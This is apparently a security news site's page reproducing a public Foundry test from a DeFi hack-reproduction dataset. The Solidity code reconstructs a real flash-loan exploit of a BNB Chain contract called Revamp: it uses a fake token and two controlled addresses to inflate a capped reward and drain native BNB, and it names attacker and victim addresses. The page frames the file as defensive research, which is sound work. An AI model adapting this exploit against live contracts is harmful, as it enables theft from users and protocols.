Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/Revamp_exp.sol

Public reproduction file for dataset entry Revamp.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/Revamp_exp.sol277 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2.99 BNB
8// Attacker : 0x42579d63bd5945fcfde5adff4edc40c34869914e
9// Attack Contract : 0x8b959ecdd652dee3272f1c9684dbf42ae671eb40
10// Attack Deployer : 0xb5128e1ae11d739d1f0fdef89e598bca74158669
11// Vulnerable Contract : 0x46280c1a2e17cfc151f50a885363408368bb163a
12// Victim : 0x46280c1a2e17cfc151f50a885363408368bb163a
13// Attack Tx : https://bscscan.com/tx/0xa0ff1de61793b0915038e644a2b45372be8d49e1060b6b2cd5e3482d7d4325ba
15// @Info
16// Vulnerable Contract Code : https://bscscan.com/address/0x46280c1a2e17cfc151f50a885363408368bb163a#code
18// @Analysis
19// Twitter Guy : https://x.com/DefimonAlerts/status/2034532544239088053
20//
21// Revamp rewards earlier contributors when later users call revamp(). The attacker made a first contribution sized
22// to half of Revamp's native balance, then made a large second contribution from a helper address. The second
23// contribution made the first address's pending reward hit the 2x cap; both controlled addresses withdrew principal,
24// the first address withdrew the capped reward, and referral fees plus the reward left enough BNB to repay the flash loan.
26address constant VULNERABLE_CONTRACT = 0x46280C1A2e17CfC151f50a885363408368BB163A;
27address constant PANCAKE_V3_WBNB_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
28address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
30uint256 constant FORK_BLOCK = 87_423_340;
31uint256 constant TOKEN_UNIT = 1 ether;
32uint256 constant BPS = 10_000;
34interface IRevamp {
35 function listNewAsset(
36 address token,
37 uint256 rate,
38 string calldata logoUrl
39 ) external payable;
40 function revamp(
41 address token,
42 uint256 tokenAmount,
43 address referral
44 ) external payable;
45 function withdraw(
46 uint256 amount
47 ) external;
48 function pendingReward(
49 address user
50 ) external view returns (uint256);
51 function users(
52 address user
53 ) external view returns (uint256 totalContributed, uint256 rewardDebt, uint256 claimedSoFar);
54 function listingFee() external view returns (uint256);
55 function totalNativeContributed() external view returns (uint256);
56 function nativeFeePercent() external view returns (uint256);
57 function shareholdingFeePercent() external view returns (uint256);
58 function referralFeePercent() external view returns (uint256);
61interface IFakeToken {
62 function approve(
63 address spender,
64 uint256 amount
65 ) external returns (bool);
66 function transfer(
67 address to,
68 uint256 amount
69 ) external returns (bool);
72contract ContractTest is BaseTestWithBalanceLog {
73 RevampExploit private exploit;
75 function setUp() public {
76 vm.createSelectFork("bsc", FORK_BLOCK);
77 fundingToken = address(0);
79 vm.label(VULNERABLE_CONTRACT, "Revamp");
80 vm.label(PANCAKE_V3_WBNB_POOL, "Pancake V3 WBNB pool");
81 vm.label(WBNB_ADDR, "WBNB");
82 }
84 function testExploit() public balanceLog {
85 // Step 1: record Revamp's pre-attack native balance, which determines the first contribution size.
86 uint256 attackerBefore = address(this).balance;
87 uint256 revampBalanceBefore = address(VULNERABLE_CONTRACT).balance;
89 // Step 2: run the local reconstruction and receive the remaining BNB after flash-loan repayment.
90 exploit = new RevampExploit(payable(address(this)));
91 vm.label(address(exploit), "Local Revamp exploit");
92 exploit.attack();
94 // Step 3: prove the vulnerable native balance was monetized into attacker profit.
95 uint256 profit = address(this).balance - attackerBefore;
96 emit log_named_decimal_uint("Revamp native balance before", revampBalanceBefore, 18);
97 emit log_named_decimal_uint("BNB profit", profit, 18);
99 assertGt(revampBalanceBefore, 0, "Revamp had no native balance");
100 assertGt(profit, 2.9 ether, "no meaningful BNB profit");
101 }
103 receive() external payable {}
106contract RevampExploit {
107 IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_WBNB_POOL);
108 IWBNB private constant wbnb = IWBNB(payable(WBNB_ADDR));
109 IRevamp private constant revamp = IRevamp(VULNERABLE_CONTRACT);
111 address payable private immutable profitReceiver;
112 FakeRevampToken private fakeToken;
113 RevampHelper private helper;
114 uint256 private flashAmount;
115 uint256 private firstContribution;
116 uint256 private secondContribution;
118 constructor(
119 address payable receiver
120 ) {
121 profitReceiver = receiver;
122 }
124 function attack() external {
125 uint256 netBps = BPS - revamp.nativeFeePercent() - revamp.shareholdingFeePercent() - revamp.referralFeePercent();
127 uint256 firstNetContribution = address(VULNERABLE_CONTRACT).balance / 2;
128 firstContribution = _grossFromNet(firstNetContribution, netBps);
130 uint256 secondNetContribution = 2 * (revamp.totalNativeContributed() + firstNetContribution);
131 secondContribution = _grossFromNet(secondNetContribution, netBps);
133 flashAmount = revamp.listingFee() + firstContribution + secondContribution;
134 flashPool.flash(address(this), 0, flashAmount, "");
135 }
137 function pancakeV3FlashCallback(
138 uint256 fee0,
139 uint256 fee1,
140 bytes calldata
141 ) external {
142 require(msg.sender == PANCAKE_V3_WBNB_POOL, "unexpected callback");
143 require(fee0 == 0, "unexpected token0 fee");
145 // Step 1: unwrap the WBNB flash loan to fund Revamp's native-token paths.
146 wbnb.withdraw(flashAmount);
148 // Step 2: list an attacker-controlled token. Revamp only requires ERC20 metadata and transferFrom support.
149 fakeToken = new FakeRevampToken(2 * TOKEN_UNIT);
150 helper = new RevampHelper(payable(address(this)), address(revamp), address(fakeToken));
151 revamp.listNewAsset{value: revamp.listingFee()}(address(fakeToken), 18, "");
153 // Step 3: make the first contribution and set the helper as this address's referrer.
154 fakeToken.approve(address(revamp), type(uint256).max);
155 revamp.revamp{value: firstContribution}(address(fakeToken), TOKEN_UNIT, address(helper));
157 // Step 4: make the large second contribution from the helper and use this contract as its referrer.
158 fakeToken.transfer(address(helper), TOKEN_UNIT);
159 helper.revampThenWithdraw{value: secondContribution}(secondContribution);
161 // Step 5: withdraw this address's principal plus the capped pending reward created by the helper contribution.
162 (uint256 totalContributed,,) = revamp.users(address(this));
163 uint256 pending = revamp.pendingReward(address(this));
164 revamp.withdraw(totalContributed + pending);
166 // Step 6: repay the Pancake V3 flash loan and forward the remaining BNB profit.
167 uint256 repayment = flashAmount + fee1;
168 wbnb.deposit{value: repayment}();
169 require(wbnb.transfer(PANCAKE_V3_WBNB_POOL, repayment), "repay failed");
171 (bool sent,) = profitReceiver.call{value: address(this).balance}("");
172 require(sent, "profit send failed");
173 }
175 function _grossFromNet(
176 uint256 netAmount,
177 uint256 netBps
178 ) private pure returns (uint256) {
179 return (netAmount * BPS) / netBps;
180 }
182 receive() external payable {}
185contract RevampHelper {
186 IRevamp private immutable revamp;
187 IFakeToken private immutable token;
188 address payable private immutable parent;
190 constructor(
191 address payable parent_,
192 address revamp_,
193 address token_
194 ) {
195 parent = parent_;
196 revamp = IRevamp(revamp_);
197 token = IFakeToken(token_);
198 }
200 function revampThenWithdraw(
201 uint256 contribution
202 ) external payable {
203 require(msg.sender == parent, "only parent");
204 require(msg.value == contribution, "bad value");
206 token.approve(address(revamp), type(uint256).max);
207 revamp.revamp{value: contribution}(address(token), TOKEN_UNIT, parent);
209 (uint256 totalContributed,,) = revamp.users(address(this));
210 revamp.withdraw(totalContributed);
212 (bool sent,) = parent.call{value: address(this).balance}("");
213 require(sent, "return failed");
214 }
216 receive() external payable {}
219contract FakeRevampToken {
220 string public constant name = "F";
221 string public constant symbol = "F";
222 uint8 public constant decimals = 18;
223 uint256 public totalSupply;
224 mapping(address => uint256) public balanceOf;
225 mapping(address => mapping(address => uint256)) public allowance;
227 constructor(
228 uint256 supply
229 ) {
230 totalSupply = supply;
231 balanceOf[msg.sender] = supply;
232 emit Transfer(address(0), msg.sender, supply);
233 }
235 function approve(
236 address spender,
237 uint256 amount
238 ) external returns (bool) {
239 allowance[msg.sender][spender] = amount;
240 emit Approval(msg.sender, spender, amount);
241 return true;
242 }
244 function transfer(
245 address to,
246 uint256 amount
247 ) external returns (bool) {
248 _transfer(msg.sender, to, amount);
249 return true;
250 }
252 function transferFrom(
253 address from,
254 address to,
255 uint256 amount
256 ) external returns (bool) {
257 uint256 allowed = allowance[from][msg.sender];
258 if (allowed != type(uint256).max) {
259 allowance[from][msg.sender] = allowed - amount;
260 }
261 _transfer(from, to, amount);
262 return true;
263 }
265 function _transfer(
266 address from,
267 address to,
268 uint256 amount
269 ) private {
270 balanceOf[from] -= amount;
271 balanceOf[to] += amount;
272 emit Transfer(from, to, amount);
273 }
275 event Approval(address indexed owner, address indexed spender, uint256 value);
276 event Transfer(address indexed from, address indexed to, uint256 value);

Analysis

Dataset entry

Public Foundry test for “Revamp” (2026-03-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x42579d63bd5945fcfde5adff4edc40c34869914e

  • Attack Contract

    0x8b959ecdd652dee3272f1c9684dbf42ae671eb40

  • Vulnerable Contract

    0x46280c1a2e17cfc151f50a885363408368bb163a

  • Victim

    0x46280c1a2e17cfc151f50a885363408368bb163a

  • Attack Tx

    0xa0ff1de61793b0915038e644a2b45372be8d49e1060b6b2cd5e3482d7d4325ba

File record

Name
Revamp
Path
src/test/2026-03/Revamp_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8c8e5f8fa8b4d0b3a80dbfff40a448c689583f64
Language
Solidity
Size
278 lines
Date
2026-03-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/Revamp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c8e5f8fa8b4d0b3a80dbfff40a448c689583f64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.